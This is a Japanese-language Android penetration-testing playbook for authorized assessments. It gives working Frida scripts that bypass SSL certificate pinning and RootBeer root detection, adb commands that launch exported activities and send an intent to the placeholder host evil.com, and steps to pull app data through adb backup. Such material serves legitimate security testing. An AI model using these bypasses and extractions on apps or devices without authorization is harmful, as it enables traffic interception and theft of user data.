android-pentesting-tricks は何をしますか?
Androidペネトレーションテストのプレイブック。許可されたモバイルセキュリティ評価中に、AndroidアプリケーションのSSLピンバイパス、エクスポートされたコンポーネントの悪用、WebViewの脆弱性、インテントリダイレクション、ルート検出バイパス、タップジャッキング、バックアップ抽出をテストする際に使用します。
はじめに
このプレイブックは、Androidアプリケーションの一般的な脆弱性を迅速に特定し、悪用するための一連のテクニックを提供します。各セクションには、実際のテストシナリオで使用できる具体的なコマンドと手順が含まれています。
前提条件
- adb(Android Debug Bridge)がインストールされていること
- Fridaがインストールされていること(動的計測用)
- apktool、dex2jar、jadxなどのリバースエンジニアリングツール
- テスト対象のデバイスまたはエミュレーターがroot化されていること(推奨)
テクニック一覧
1. SSLピンバイパス
アプリケーションが証明書ピン留めを実装している場合、以下のFridaスクリプトを使用してバイパスします。
// ssl_pinning_bypass.js
Java.perform(function() {
var ArrayList = Java.use('java.util.ArrayList');
var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, authType, host, clientAuth, ocspData, tlsSctData) {
return untrustedChain;
};
});
実行方法:
frida -U -f com.example.app -l ssl_pinning_bypass.js --no-pause
2. エクスポートされたコンポーネントの悪用
AndroidManifest.xmlで exported="true" が設定されているアクティビティやサービスを特定します。
# エクスポートされたアクティビティをリスト化
aapt dump xmltree app.apk AndroidManifest.xml | grep -A 2 "activity.*exported"
# エクスポートされたアクティビティを起動
adb shell am start -n com.example.app/.vulnerable.Activity
3. WebViewの脆弱性
setJavaScriptEnabled(true) が有効になっているWebViewを確認します。
# apktoolでデコンパイルしてWebView設定を確認
apktool d app.apk -o output
cat output/smali/com/example/app/*.smali | grep -i "setJavaScriptEnabled"
4. インテントリダイレクション
悪意のあるインテントを送信して、アプリケーションのコンポーネントを誤った方向にリダイレクトします。
# インテントリダイレクションをテスト
adb shell am start -a android.intent.action.VIEW -d "http://evil.com" com.example.app/.vulnerable.Activity
5. ルート検出バイパス
ルート検出をバイパスするFridaスクリプト:
// root_detection_bypass.js
Java.perform(function() {
// RootBeerライブラリのバイパス例
var RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
RootBeer.isRooted.implementation = function() {
return false;
};
});
6. タップジャッキング
オーバーレイを使用してユーザーのタップを傍受する脆弱性をテストします。
# アプリケーションがFLAG_WINDOW_IS_OBSCUREDを使用しているか確認
adb shell dumpsys window windows | grep -i "obscured"
7. バックアップ抽出
android:allowBackup="true" が設定されている場合、アプリケーションデータを抽出します。
# アプリケーションデータのバックアップ
adb backup -f app_backup.ab com.example.app
# バックアップファイルをtar形式に変換
dd if=app_backup.ab bs=4 skip=1 | openssl zlib -d > app_backup.tar
免責事項
これらのテクニックは、許可されたセキュリティ評価においてのみ使用してください。無許可のデバイスやアプリケーションに対する使用は違法となる可能性があります。